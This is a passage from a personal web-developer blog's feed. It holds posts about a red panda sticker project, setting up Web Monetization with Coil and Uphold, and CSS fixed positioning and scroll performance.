&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;shenanigans are afoot...&lt;br&gt;is dis &lt;a href=&quot;https://twitter.com/wgao19?ref_src=twsrc%5Etfw&quot;&gt;@wgao19&lt;/a&gt; and myself&amp;#39;s secret tail project?&lt;br&gt;who knows...&lt;br&gt;stay tuned to &lt;a href=&quot;https://twitter.com/redviolapanda?ref_src=twsrc%5Etfw&quot;&gt;@redviolapanda&lt;/a&gt; &lt;a href=&quot;https://t.co/hpTS6e7gBP&quot;&gt;pic.twitter.com/hpTS6e7gBP&lt;/a&gt;&lt;/p&gt;&amp;mdash; HJ Chen (@hj_chen) &lt;a href=&quot;https://twitter.com/hj_chen/status/1290657014193020932?ref_src=twsrc%5Etfw&quot;&gt;August 4, 2020&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;Anywayz, we are very fond of the aforementioned fluffy red panda. One day, Wei asked if I could draw a red panda hugging a viola.&lt;/p&gt;
&lt;p&gt;…&lt;br&gt;
…&lt;br&gt;
…&lt;/p&gt;
&lt;p&gt;OF COURSE I can draw a red panda hugging a viola.&lt;/p&gt;
&lt;p&gt;And so, Project RedViolaPanda (AKA the secret tail project) became a thing.&lt;/p&gt;
&lt;h2&gt;Moar backstory&lt;/h2&gt;
&lt;p&gt;What started out as one red panda playing a viola soon grew into a jambalaya of fluffy musicians, now known as the Fluffy Philharmonic. Naming things is hard but I think we knocked this one out of the park.&lt;/p&gt;
&lt;img src=&quot;/images/posts/redviolapanda/fluffy-phil.png&quot; srcset=&quot;/images/posts/redviolapanda/fluffy-phil@2x.png 2x&quot; alt=&quot;The Fluffy Philharmonic&quot;&gt;
&lt;p&gt;Broadly speaking, Wei comes up with the ideas and stories, and I convert them into pictures and words. It&apos;s a great collaboration. Like kaya and butter.&lt;/p&gt;
&lt;p&gt;We often draw inspiration from anything and everything around us, nothing is safe. So many storylines that we have a GitHub project board to track ideas. Because we are very serious about our nonsense.&lt;/p&gt;
&lt;p&gt;Most of what we come up with are loosely based on true stories/events/people.&lt;/p&gt;
&lt;p&gt;Loosely.&lt;/p&gt;
&lt;p&gt;So loosely that unless you&apos;re us, you probably can&apos;t make the connection. It&apos;s fine. Means zero liability for us.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;At the moment, we have:&lt;/p&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Viola, the red panda&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Taria, the metronomic kitten&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Osca, the trash panda&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Mathia, the polar bear&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Puff de Papa, the giant panda&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Arctica, the white fox&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Gianluka, the giraffe&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;The hotpot shiba friends (lol, this is another long-ish story)&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Edva, the monkey&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Yet-to-be-named woolly mammoth&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Yet-to-be-named hedgehog&lt;/li&gt;
    &lt;li&gt;The fluffy fan club (individual members yet-to-be-named)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But odds are, by the time you read this, our Fluffy Philharmonic family would have grown yet again.&lt;/p&gt;
&lt;h2&gt;And what&apos;s the point of this?&lt;/h2&gt;
&lt;p&gt;Well, we&apos;re not big on plans. Right now, we have our first set of stickers featuring Viola the red panda, and her beloved viola (whose name is Ginger), on &lt;a href=&quot;https://redviolapanda.com&quot;&gt;our online store&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Our entire business in a box&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/redviolapanda/biz-480.jpg 480w, /images/posts/redviolapanda/biz-640.jpg 640w, /images/posts/redviolapanda/biz-960.jpg 960w, /images/posts/redviolapanda/biz-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/redviolapanda/biz-640.jpg&quot; alt=&quot;All our stickers in a box on a desk&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;We also have a &lt;a href=&quot;https://twitter.com/redviolapanda&quot;&gt;Twitter&lt;/a&gt; and an &lt;a href=&quot;https://www.instagram.com/redviolapanda/&quot;&gt;Instagram&lt;/a&gt; account that we haven&apos;t figured out what to do with, but if you&apos;d like to follow us there, that&apos;d be nice. For now, we post random links about classical music and will probably do some product shots, I guess?&lt;/p&gt;
&lt;p&gt;At this point, we have enough stories to maybe do something like a 4-panel comic for some of them. So a website is definitely in the works. As an un-trained un-professional, I have a very slow and un-organised creation process, so please stay tuned.&lt;/p&gt;
&lt;p&gt;Patiently.&lt;/p&gt;
&lt;p&gt;It might not be great. But it will at least be… nubbad.&lt;/p&gt;
</content:encoded></item><item><title>Monetizing Your Blog With Coil</title><link>https://chenhuijing.com/blog/monetizing-your-blog-with-coil/</link><guid isPermaLink="true">https://chenhuijing.com/blog/monetizing-your-blog-with-coil/</guid><description>I&apos;ve had quite a bit on my plate lately, a sort of bit-off-more-than-I-could-chew situation, which is not an uncommon occurrence for me. Which is why, amid all…</description><pubDate>Fri, 03 Jul 2020 14:16:41 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ve had quite a bit on my plate lately, a sort of bit-off-more-than-I-could-chew situation, which is not an uncommon occurrence for me. Which is why, amid all the excitement about building up &lt;a href=&quot;https://webmonetization.dev/&quot;&gt;webmonetization.dev&lt;/a&gt;, learning more about the underlying technology and so on, I was reminded that I had yet to implement web monetization on my own site.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Pretty much my face when I realised…&lt;/figcaption&gt;
    &lt;img alt=&quot;Jellyfish blob emoji with sweat drop&quot; src=&quot;/images/posts/web-monetization/sweat.png&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;However, I&apos;m very glad to announce that, even though I spent a lot of time digging into the technology documents, articles and talks around web monetization and interledger, the actual implementation of it on my own site took less than a fraction of the time.&lt;/p&gt;
&lt;p&gt;The bulk of the set up involved registering an account with the relevant services so you could have a payment pointer that you would put in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of your site. My content is this blog, which is simply a static site (which made it reasonably straightforward to implement Web Monetization).&lt;/p&gt;
&lt;h2&gt;Who&apos;s who in the world of Web Monetization&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://webmonetization.org/&quot;&gt;Web Monetization&lt;/a&gt; is a &lt;strong&gt;JavaScript browser API&lt;/strong&gt; which allows the creation of a payment stream from the user agent to the website. This is what it says on the website. But what that means is that you can passively generate income by implementing a meta tag on your site.&lt;/p&gt;
&lt;p&gt;This payment stream runs on the &lt;a href=&quot;https://interledger.org/&quot;&gt;Interledger Protocol&lt;/a&gt;, which is an open protocol suite, analogous to TCP/IP. Instead of data packets, this protocol handles the routing of payment packets. So far, these 2 commonly seen terms are referring to the technology.&lt;/p&gt;
&lt;p&gt;So then, what is &lt;a href=&quot;https://coil.com/&quot;&gt;Coil&lt;/a&gt;? It is a San Francisco based startup that provides a platform for creators to get paid for their content. Their current product is a flat-rate subscription &lt;strong&gt;for consumers&lt;/strong&gt; to support their favourite content creators with payouts made via Web Monetization.&lt;/p&gt;
&lt;p&gt;The difference between Coil and platforms like Patreon or Buy me a coffee is that you don&apos;t have to pick which creators you want to pay. With your monthly subscription to Coil, you are free to browser any creators&apos; content and Coil will pay them accordingly.&lt;/p&gt;
&lt;p&gt;On the creator side (e.g. myself), your Coil account is free. You don&apos;t have to pay Coil to use web monetization because it is not tied to any corporation or entity. It is simply a meta tag which contains your payment pointer. Coil will ask you for your payment pointer so it knows where to send you payments.&lt;/p&gt;
&lt;p&gt;It is natural to associate Coil with this technology because right now, they seem to be the only folks using it, but hopefully in the near future, there will be more platforms that utilise web monetization as well.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.grantfortheweb.org/&quot;&gt;Grant for the Web&lt;/a&gt; is a fund. To be more precise, it is a $100M fund to promote web monetization by encouraging open, fair and inclusive standards as well as innovation in this space.&lt;/p&gt;
&lt;h2&gt;Setting up the required accounts&lt;/h2&gt;
&lt;p&gt;Even though you don&apos;t need a Coil subscription as a creator, you do need a payment pointer and a free creator account. And for that, you need a digital wallet that supports the Interledger Protocol. For now, there are 3 providers listed on the documentation, namely &lt;a href=&quot;https://www.uphold.com/signup&quot;&gt;Uphold&lt;/a&gt;, &lt;a href=&quot;https://gatehub.net/&quot;&gt;Gatehub&lt;/a&gt; and &lt;a href=&quot;https://stronghold.co/real-time-payments#coil&quot;&gt;Stronghold&lt;/a&gt;.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/web-monetization/coil-480.jpg 480w, /images/posts/web-monetization/coil-640.jpg 640w, /images/posts/web-monetization/coil-960.jpg 960w, /images/posts/web-monetization/coil-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/web-monetization/coil-640.jpg&quot; alt=&quot;Screen showing wallet provider options when you first sign up for Coil account&quot;&gt;
&lt;p&gt;I am currently based in Singapore and ideally would like a fuss-free way to get Singapore dollars (SGD). That&apos;s why I went with Uphold, because it supports a rather wide range of currencies and commodities, including Singapore dollars.&lt;/p&gt;
&lt;p&gt;My only complaint with Uphold at the moment is that lots of things that I&apos;m used to self-serve, like updating my full name and changing my email address, requires you to raise a support ticket. But maybe this will change once they get more users? Who knows…&lt;/p&gt;
&lt;p&gt;Coil is currently working on their documentation and you can check it out at the &lt;a href=&quot;https://help.coil.com/&quot;&gt;Coil Help Center&lt;/a&gt;. If you&apos;re a creator trying to monetize your site, you should go to the section on &lt;a href=&quot;https://help.coil.com/accounts/digital-wallets-payment-pointers&quot;&gt;Digital wallet accounts &amp;amp; payment pointers&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Links to the 3 wallet providers I mentioned are available there, and no matter who you choose, you should end up with a &lt;a href=&quot;https://paymentpointers.org/&quot;&gt;payment pointer&lt;/a&gt;. There are very detailed step-by-step instructions for each of the wallet providers, so I won&apos;t repeat them here. Here&apos;s the one for &lt;a href=&quot;https://help.coil.com/accounts/digital-wallets-payment-pointers/uphold&quot;&gt;Uphold&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once you have your payment pointer, Coil will ask you to enter it as part of the registration process. This is so they can help you generate the requisite meta tag to put in the &lt;code&gt;head&lt;/code&gt; of your website. That can be found later under the &lt;em&gt;Monetize content&lt;/em&gt; section of your account page.&lt;/p&gt;
&lt;p&gt;Coil also offers the option to post content on their site, either as a full blog post or a link to wherever else your content might be hosted. If the link you&apos;re posting is not web monetized, Coil will let you know to include the requisite meta tag.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/web-monetization/notify-480.jpg 480w, /images/posts/web-monetization/notify-640.jpg 640w, /images/posts/web-monetization/notify-960.jpg 960w, /images/posts/web-monetization/notify-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/web-monetization/notify-640.jpg&quot; alt=&quot;Notification message from Coil informing that the link you are posting is not web monetized&quot;&gt;
&lt;h2&gt;Monetize your content&lt;/h2&gt;
&lt;p&gt;If you have a website or blog, copy the generated meta tag and include it in your site. Regardless of whether you have full control of the structure of your site, or you are using some service like Wix, as long as you can add a custom meta tag to your site, you will be good to go.&lt;/p&gt;
&lt;p&gt;There are also numerous plugins and integrations folks in the community have created and shared so I suggest searching for “YOUR_TECH_STACK web monetization” on Google and see what hits you get.&lt;/p&gt;
&lt;p&gt;For my blog, which is a Hugo-generated static site, I added this line to the &lt;em&gt;head&lt;/em&gt; partial of my base layout:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;meta name=&amp;quot;monetization&amp;quot; content=&amp;quot;$ilp.uphold.com/UHgjUa7kRNJF&amp;quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s it really. One line in the &lt;code&gt;head&lt;/code&gt; of your website. I had never monetized anything on my site before ever since its inception in 2013, so it was pretty cool to get a notification saying that I got 3 cents from the Interledger Protocol.&lt;/p&gt;
&lt;p&gt;I have since amassed a grand total of 43 cents, and I think it&apos;s amazing. Will I get rich from this? Probably not in the near future, but hey, I hadn&apos;t earned a cent for the past 6 years, so 43 cents is amazing.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/web-monetization/uphold-480.jpg 480w, /images/posts/web-monetization/uphold-640.jpg 640w, /images/posts/web-monetization/uphold-960.jpg 960w, /images/posts/web-monetization/uphold-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/web-monetization/uphold-640.jpg&quot; alt=&quot;Activity page on Uphold showing all the transactions to date&quot;&gt;
&lt;p&gt;To be fair, the biggest reason I never got into including ads on my blog is simply because my design/layout doesn&apos;t have any spare room for ads. Also, it would totally ruin the overall theme of my site to have ads to begin with. Web monetization doesn&apos;t have these issues, so I&apos;m very happy to add it to my site.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I am currently working on writing up content for &lt;a href=&quot;https://webmonetization.dev/&quot;&gt;A Guide to Web Monetization&lt;/a&gt;, which basically is trying to fill the gap for information most relevant to content creators who want to use web monetisation. If there is anything you are interested or have questions about, feel free to reach out. I&apos;d love to hear what type of information is most useful to you.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;https://www.instagram.com/p/CCDvuKUB2uN/&quot;&gt;framereim on Instagram&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Let&apos;s talk about Web Monetization</title><link>https://chenhuijing.com/blog/lets-talk-about-web-monetization/</link><guid isPermaLink="true">https://chenhuijing.com/blog/lets-talk-about-web-monetization/</guid><description>Some of you may have been seeing some buzz around the Web Monetization API recently, especially if you hang out on DEV.to quite a bit. Perhaps you&apos;ve seen…</description><pubDate>Sun, 14 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Some of you may have been seeing some buzz around the &lt;a href=&quot;https://webmonetization.org/&quot;&gt;Web Monetization API&lt;/a&gt; recently, especially if you hang out on &lt;a href=&quot;https://dev.to/&quot;&gt;DEV.to&lt;/a&gt; quite a bit. Perhaps you&apos;ve seen mentions of “&lt;a href=&quot;https://www.grantfortheweb.org/&quot;&gt;Grant for the Web&lt;/a&gt;”, “&lt;a href=&quot;https://coil.com/&quot;&gt;Coil&lt;/a&gt;” or “&lt;a href=&quot;https://interledger.org/&quot;&gt;Interledger&lt;/a&gt;” among many other names and terms and are trying to make sense of it all. Let me try to lay it all out for you.&lt;/p&gt;
&lt;p&gt;I&apos;ll be honest, the first time I heard about Web Monetization was at View Source 2019 when I met &lt;a href=&quot;https://www.linkedin.com/in/chrislarry/&quot;&gt;Christopher Lawrence&lt;/a&gt; for a chat over coffee. He shared with me what &lt;a href=&quot;https://www.grantfortheweb.org/&quot;&gt;Grant for the Web&lt;/a&gt; was all about and what they wanted to achieve. And that&apos;s how I eventually got involved as one of the ambassadors for the program.&lt;/p&gt;
&lt;p&gt;The concept of an alternative to ads for content creators to earn money sounded intriguing. For the longest time, there were not that many options to earn money for content you put on the web. You could either ask folks to pay you for your content somehow via payment platforms or subscriptions or you could place ads all over your site.&lt;/p&gt;
&lt;h2&gt;Let&apos;s rewind back a couple of years&lt;/h2&gt;
&lt;p&gt;In October 2015, &lt;a href=&quot;https://twitter.com/justmoon&quot;&gt;Stefan Thomas&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/_emschwartz&quot;&gt;Evan Schwartz&lt;/a&gt; released a whitepaper titled &lt;a href=&quot;https://interledger.org/interledger.pdf&quot;&gt;A Protocol for Interledger Payments&lt;/a&gt; which proposed a protocol for payments across payment systems by enabling secure transfers between ledgers. At the time, both gentlemen were part of &lt;a href=&quot;https://ripple.com/&quot;&gt;Ripple&lt;/a&gt;, at enterprise blockchain company founded in 2012.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Read the &lt;a href=&quot;https://twitter.com/hashtag/Interledger?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#Interledger&lt;/a&gt; white paper for a more thorough exploration of our protocol: &lt;a href=&quot;http://t.co/qxDkHVIZgq&quot;&gt;http://t.co/qxDkHVIZgq&lt;/a&gt;&lt;/p&gt;&amp;mdash; Interledger Protocol 💸 (@Interledger) &lt;a href=&quot;https://twitter.com/Interledger/status/651474220304564224?ref_src=twsrc%5Etfw&quot;&gt;October 6, 2015&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;The &lt;a href=&quot;https://interledger.org/&quot;&gt;Interledger Project&lt;/a&gt; itself is open-source and &lt;strong&gt;not&lt;/strong&gt; tied to any single company, blockchain or currency. &lt;a href=&quot;https://interledger.org/overview.html#what-is-interledger&quot;&gt;Interledger&lt;/a&gt; itself is a network of computers that enable the sending of value across independent payment networks, and the &lt;a href=&quot;https://interledger.org/rfcs/0027-interledger-protocol-4/&quot;&gt;Interledger Protocol&lt;/a&gt; defines how it all works.&lt;/p&gt;
&lt;p&gt;Along with the publication of the whitepaper, &lt;a href=&quot;https://twitter.com/ahopebailie&quot;&gt;Adrian Hope-Bailie&lt;/a&gt;, also proposed the &lt;a href=&quot;https://www.w3.org/community/interledger/&quot;&gt;Interledger Payments Community Group&lt;/a&gt; at the W3C. As commerce moves increasingly to the web, the W3C has a vested interest in developing open standards for web payments and security by getting those with interest and knowledge involved with the W3C.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3.org/Payments/&quot;&gt;Web Payments Activity&lt;/a&gt; at the W3C&apos;s main focus is to develop web standards for APIs that increase the convenience and security of Web Payments. There are two working groups and multiple community groups who are involved in this endeavour, Interledger Payments among them.&lt;/p&gt;
&lt;h2&gt;And then we get to 2019&lt;/h2&gt;
&lt;p&gt;In August 2019, Adrian Hope-Bailie proposed the &lt;a href=&quot;https://discourse.wicg.io/t/proposal-web-monetization-a-new-revenue-model-for-the-web/3785&quot;&gt;Web Monetization API&lt;/a&gt; on the &lt;a href=&quot;https://discourse.wicg.io/&quot;&gt;WICG Discourse&lt;/a&gt;. It is a JavaScript browser API that allows the creation of a payment stream from the user agent to the website. Web Monetization depends on two critical technologies to work, the aforementioned &lt;em&gt;Interledger protocol&lt;/em&gt; and something called &lt;em&gt;payment pointers&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://paymentpointers.org/&quot;&gt;Payment pointers&lt;/a&gt; are a standardised identifier for payment accounts which resolve to a URL that can be used to discover available &lt;a href=&quot;https://openpayments.dev/&quot;&gt;Open Payment&lt;/a&gt; endpoints for interacting with the account. Open Payments is an application level protocol &lt;strong&gt;built on top of&lt;/strong&gt; the Interledger protocol.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Here&apos;s the list of specifications that have been mentioned so far:&lt;/p&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://interledger.org/rfcs/0027-interledger-protocol-4/draft-9.html&quot;&gt;Interledger Protocol V4&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://paymentpointers.org/&quot;&gt;Payment Pointers&lt;/a&gt;, &lt;a href=&quot;https://w3c.github.io/webpayments/proposals/interledger/&quot;&gt;W3C Interledger Payment Method Unofficial Draft&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://docs.openpayments.dev/introduction&quot;&gt;Open Payments&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://webmonetization.org/docs/api&quot;&gt;Web Monetization&lt;/a&gt;, &lt;a href=&quot;https://webmonetization.org/specification.html&quot;&gt;W3C Community Group Draft Report&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is quite a lot of technical detail in them, but still, it&apos;s pretty cool to see the process of introducing a new protocol to the web. As I mentioned earlier, there&apos;s a growing amount of content about web monetization, albeit slightly scattered and piece-meal at the moment.&lt;/p&gt;
&lt;h2&gt;Why are you talking about Web Monetization?&lt;/h2&gt;
&lt;p&gt;I&apos;m one of the &lt;a href=&quot;https://www.grantfortheweb.org/post/ambassadors-hj-chen-and-cris-beasley&quot;&gt;Grant for the Web Ambassadors&lt;/a&gt; and if you poke around the stuff I do, you&apos;ll find that I pretty much do standard web developer things.&lt;/p&gt;
&lt;p&gt;Since I&apos;m reasonably competent at that, I figured I would document the whole process of implementing the Web Monetization API, explain how the ecosystem works and basically build out a comprehensive guide to web monetization.&lt;/p&gt;
&lt;p&gt;Which means, yes, of course, I&apos;m building a website. I &lt;strong&gt;really like&lt;/strong&gt; building websites. It&apos;s like totally my jam. I mean, I &lt;em&gt;could&lt;/em&gt; draw a zine or something, but nah, I&apos;ll leave that up to all the way more artistic folks out there.&lt;/p&gt;
&lt;p&gt;I just got the site up and running and will be working on content, design and layout all in “real-time” moving forward, and you can check it out at &lt;a href=&quot;https://webmonetization.dev/&quot;&gt;https://webmonetization.dev/&lt;/a&gt;.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/web-monetization/website-480.png 480w, /images/posts/web-monetization/website-640.png 640w, /images/posts/web-monetization/website-960.png 960w, /images/posts/web-monetization/website-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/web-monetization/website-640.png&quot; alt=&quot;Home page of webmonetization.dev&quot;&gt;
&lt;p&gt;The site is built with &lt;a href=&quot;https://www.11ty.dev/&quot;&gt;Eleventy&lt;/a&gt; &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;, and its source code is on &lt;a href=&quot;https://github.com/huijing/webmonetization&quot;&gt;GitHub&lt;/a&gt;. If you find anything broken, feel free to raise an issue, or even better, submit a pull request. You can also let me know what content would be useful to you.&lt;/p&gt;
</content:encoded></item><item><title>On fixed elements and backgrounds</title><link>https://chenhuijing.com/blog/on-fixed-elements-and-backgrounds/</link><guid isPermaLink="true">https://chenhuijing.com/blog/on-fixed-elements-and-backgrounds/</guid><description>I thought this was going to be a short-ish note on fixed positioning and jank, but as with almost everything I write, it grew into a long-ish post about…</description><pubDate>Mon, 25 May 2020 12:40:20 GMT</pubDate><content:encoded>&lt;p&gt;I thought this was going to be a short-ish note on fixed positioning and jank, but as with almost everything I write, it grew into a long-ish post about containing blocks, rendering and scroll performance.&lt;/p&gt;
&lt;p&gt;The original point of writing this was to remind myself that whenever I want to fix the position of anything on a web page, performance considerations must be &lt;strong&gt;top-of-mind&lt;/strong&gt;. It wasn&apos;t like I didn&apos;t &lt;em&gt;know&lt;/em&gt;, I just wasn&apos;t actively thinking about it.&lt;/p&gt;
&lt;p&gt;**cue look of disapproval from webperf folk everywhere** &lt;span class=&quot;kaomoji&quot;&gt;ಠ_ಠ&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;But then it spiralled off into other things, so I&apos;m moving the conclusions up to the top, and if anyone is interested in the whys, you can read on after that.&lt;/p&gt;
&lt;h2&gt;TL:DR the practical bits&lt;/h2&gt;
&lt;p&gt;If you have a fixed element on your page, which means it doesn&apos;t move when you scroll, you might realise that it no longer acts fixed if you apply a CSS filter on its nearest ancestor.&lt;/p&gt;
&lt;p&gt;Go ahead, try it on the Codepen.&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;400&quot; data-theme-id=&quot;9162&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-slug-hash=&quot;wvKZJQa&quot; data-pen-title=&quot;Fixed positioning and CSS filters&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/wvKZJQa&quot;&gt;
  Fixed positioning and CSS filters&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;This is because applying a &lt;code&gt;filter&lt;/code&gt; on the fixed element&apos;s immediate parent makes it becoming the containing block instead of the viewport. I encountered this when I was trying to archive v1 of my website.&lt;/p&gt;
&lt;p&gt;I wanted to keep everything exactly the same but with a grey-scale filter applied so it would look, well you know, archived. The website has a un-performant dark mode toggle that is an immediate child of the &lt;code&gt;body&lt;/code&gt; element.&lt;/p&gt;
&lt;p&gt;It was positioned in the bottom left corner of the viewport with &lt;code&gt;position: fixed&lt;/code&gt;. I thought the most efficient one-line fix was to apply &lt;code&gt;filter: grayscale(1);&lt;/code&gt; on the &lt;code&gt;body&lt;/code&gt; element, but that unfixed my toggle.&lt;/p&gt;
&lt;p&gt;In the end I applied the filter to the header, main and footer separately so the toggle wasn&apos;t affected by this. This is &lt;strong&gt;not&lt;/strong&gt; a bug, it&apos;s a legitimate feature, please read on if you want to know more.&lt;/p&gt;
&lt;p&gt;Also, if you plan to have fixed backgrounds on your site, try using a pseudo-element to house the image instead of using &lt;code&gt;background-attachment: fixed&lt;/code&gt; for better scrolling performance.&lt;/p&gt;
&lt;p&gt;I was dealing with a more than 3-year-old procrastination series of blog posts, which I decided to move into &lt;a href=&quot;https://zh-typography.commons.host/&quot;&gt;a site of its own&lt;/a&gt;. Because a new site means a new layout and design to build. Yes, I&apos;m still procrastinating the actual writing part.&lt;/p&gt;
&lt;p&gt;Anyway, I wanted some fixed decorative elements on the site to fill up excess space on either side of the text for large viewport widths. If you came across and remember &lt;a href=&quot;https://www.fourkitchens.com/blog/article/fix-scrolling-performance-css-will-change-property/&quot;&gt;Chris Ruppel&lt;/a&gt;&apos;s article on the &lt;code&gt;will-change&lt;/code&gt; property, this will look familiar.&lt;/p&gt;
&lt;p&gt;Instead of doing something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;main {
  background: url(&amp;quot;/some-beautiful-image.png&amp;quot;) no-repeat center center;
  background-attachment: fixed;
  background-size: cover;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Do something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;main::before {
  content: &amp;quot;&amp;quot;;
  position: fixed;
  width: 100%;
  height: 100%;
  background: url(&amp;quot;/some-beautiful-image.png&amp;quot;) no-repeat center center;
  background-attachment: fixed;
  background-size: cover;
  will-change: transform;
  z-index: -1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Paul Lewis explained in &lt;a href=&quot;https://www.youtube.com/watch?v=QU1JAW5LRKU&quot;&gt;Using Chrome DevTools to profile the jsconf.eu site&lt;/a&gt; (somewhere around the 2.30 mark) that &lt;code&gt;background-attachment: fixed&lt;/code&gt; causes a paint operation whenever you scroll.&lt;/p&gt;
&lt;p&gt;The solution brings the background image in question into its own layer, so when the main content is being scrolled, it does not have to constantly be repainted.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;will-change&lt;/code&gt; should &lt;strong&gt;not&lt;/strong&gt; be rampantly used all over your site though. Refer to &lt;a href=&quot;https://twitter.com/sarasoueidan&quot;&gt;Sara Soueidan&lt;/a&gt;&apos;s &lt;a href=&quot;https://dev.opera.com/articles/css-will-change-property/&quot;&gt;Everything You Need to Know About the CSS will-change Property&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can stop here and go do something more useful with your life at this point. Everything after here is my rabbit-hole research. You have been warned.&lt;/p&gt;
&lt;h2&gt;The containing block&lt;/h2&gt;
&lt;p&gt;Oh, you&apos;re still here? Okay then, let&apos;s talk a bit about how fixed positioning works in the context of browser rendering. Boxes are always positioned &lt;strong&gt;relative to a containing block&lt;/strong&gt;. If there isn&apos;t one explicitly defined, that containing block is the viewport.&lt;/p&gt;
&lt;p&gt;Understanding how the containing block works is very useful when it comes to troubleshooting your CSS positioning woes. A recommended resource for this is &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/Containing_block&quot;&gt;Layout and the containing block&lt;/a&gt; on the &lt;a href=&quot;https://developer.mozilla.org/en-US/&quot;&gt;MDN web docs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A box&apos;s &lt;code&gt;position&lt;/code&gt; property determines what it&apos;s containing block will be. &lt;code&gt;static&lt;/code&gt; (which is the default value), &lt;code&gt;relative&lt;/code&gt; and &lt;code&gt;sticky&lt;/code&gt; uses the nearest ancestor element&apos;s content box. This ancestor must be either a block container, or has established a formatting context.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;absolute&lt;/code&gt; uses the nearest ancestor element&apos;s padding box. This ancestor must have a &lt;code&gt;position&lt;/code&gt; value of anything other than &lt;code&gt;static&lt;/code&gt;. If you&apos;ve ever wondered why people toss in a &lt;code&gt;position: relative&lt;/code&gt; on a parent element to “trap” a child element within itself.&lt;/p&gt;
